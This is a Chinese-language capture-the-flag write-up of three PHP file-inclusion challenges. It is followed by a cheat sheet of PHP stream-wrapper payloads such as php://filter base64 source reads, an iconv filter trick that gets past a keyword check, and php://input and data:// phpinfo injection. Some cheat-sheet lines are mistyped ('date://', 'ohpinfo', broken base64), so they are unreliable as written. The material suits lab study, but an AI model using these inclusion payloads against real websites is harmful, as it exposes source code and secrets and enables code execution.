文件包含
第一道题是攻防世界的fileclude
这里第二行我们可以看见告诉我们在flag.php里面 然后检查了两次file1和file2是否为空
如果file2="hello ctf"成立 那么就可以包含file1
这里我们要使用php伪协议 来访问我们需要的flag.php并且将file2的数值改为"hello ctf"
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
这里得到了base64编码过后的flag
解码一下flag = cyberpeace{62a75cf6384c6b312026623dd30a04c8}
第二题file_include
还是文件包含的题 告诉我们有./check.php文件
这道题的关键是绕过base64-encode 所以需要换一个关键字得到了下面的伪协议
filename=php://filter//convert.iconv.SJIS.UCS-4/resource=index.php
猜一下flag在flag.php文件中
filename=php://filter//convert.iconv.SJIS.UCS-4/resource=flag.php
这样就得到了flag='cyberpeace{9214ce27e42b93078a8829e38fee4a8a}
第三道题fileinclude
我们看一下网页源码
这里的php代码写了cookie是language 这里我们仍然需要用到php伪协议
里面告诉了路径/var/www/html/index.php
language=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php
这里涉及到了cookie变量 所以我们可以打开burpsuit进行一下抓包
我们在这里需要设置一下cookie变量
php://filter/read=convert.base64-encode/resource=/var/www/html/flag
(注意这里flag后面不需要加.php 因为网页源码里已经包含了.php)
然后在对应的响应里面我们可以看到回显了一串类似base64编码的字符串 我们对其进行解码
得出flag="cyberpeace{8bda62910569feaf90bbc92426912c14}"
php伪协议
在 PHP 中,伪协议(Pseudo Protocols) 也被称为 流包装器,这些伪协议以 php:// 开头,后面跟着一些参数,用于指定 要执行的操作 或 需要访问的资源。 伪协议表明这些协议并不是一个 真实的外部协议,例如 http 或 ftp。PHP 伪协议的出现是为了提供一个 统一的、简洁的 接口来处理 不同的数据流。这些伪协议可以被看作是一种 桥梁,它们允许开发者 使用常规的文件操作函数来处理各种不同的数据流
-
file:// ?file=file://D:/soft/phpstudy/WWW/phpcode.txt
-
php://filter ?file=php://filter/read=convert.base64-encode/resource=index.php
-
php://input ?file=php://input [POST DATA]<?php phpinfo()?>
-
zip:// ?file=zip://D://soft/phpsyudy/WWW/file.zip%23phpcode.txt
-
compress.bzip2:// ?file=compress.bzip2://D://soft/phpstudy/WWW/file.bz2
?file=compress.bzip2://./file.bz2
-
compress.zlib:// ?file=compress.zlib://D:/soft/phpstudy/WWW/file.gz
?file=compress.zlib://./file.gz
-
date:// ?file=date://text/plain,<php ohpinfo()?>
?file=date://text/plain;basse64,PD9waHAgcGhwaW5mbgpPz4=
?file=date:text/plain,<php ohpinfo()?>
?file=date:text/plain;base64.PD9waHAgcGGhwaW5mbgpPz4=